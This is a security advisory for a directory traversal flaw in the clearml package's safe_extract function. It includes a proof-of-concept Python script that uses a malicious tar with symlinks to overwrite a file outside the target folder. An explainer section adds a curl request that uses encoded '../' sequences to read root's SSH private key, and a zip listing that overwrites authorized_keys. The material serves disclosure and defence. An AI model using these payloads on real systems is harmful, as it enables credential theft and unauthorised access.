Directory Traversal Affecting clearml package, versions [,2.0.2)

clearml is a ClearML - Auto-Magical Experiment Manager, Version Control, and MLOps for AI

Affected versions of this package are vulnerable to Directory Traversal via the safe_extract function. An attacker can write arbitrary files outside the intended directory by exploiting improper handling of symbolic and hard links.

import io
import tarfile
import os
from pathlib import Path

from clearml.storage.util import safe_extract

current_dir = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(current_dir,"temp1"),exist_ok=True)
Path(current_dir).joinpath("temp1").joinpath("import_file.txt").write_text("normal")

tarfile_name = "evil.tar"

def create_evil_tarfile():
    with tarfile.open(tarfile_name, "w") as tar:
        info = tarfile.TarInfo("soft_link")
        info.type = tarfile.SYMTYPE
        info.linkpath = str(Path(current_dir).joinpath("temp1").joinpath("import_file.txt"))
        tar.addfile(info)

        info = tarfile.TarInfo("soft_link")
        info.type = tarfile.REGTYPE
        data = io.BytesIO(b"evil")
        info.size = len(data.getbuffer())
        tar.addfile(info, fileobj=data)

create_evil_tarfile()
tar = tarfile.open(tarfile_name,"r")
safe_extract(tar,"temp2")
tar.close()

with open(Path(current_dir).joinpath("temp1").joinpath("import_file.txt"),"r") as f:
    data = f.read()
    if data == "evil":
        print("The vulnerability has been successfully verified.")
    else:
        print("The vulnerability has not been verified.")

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

• GitHub Commit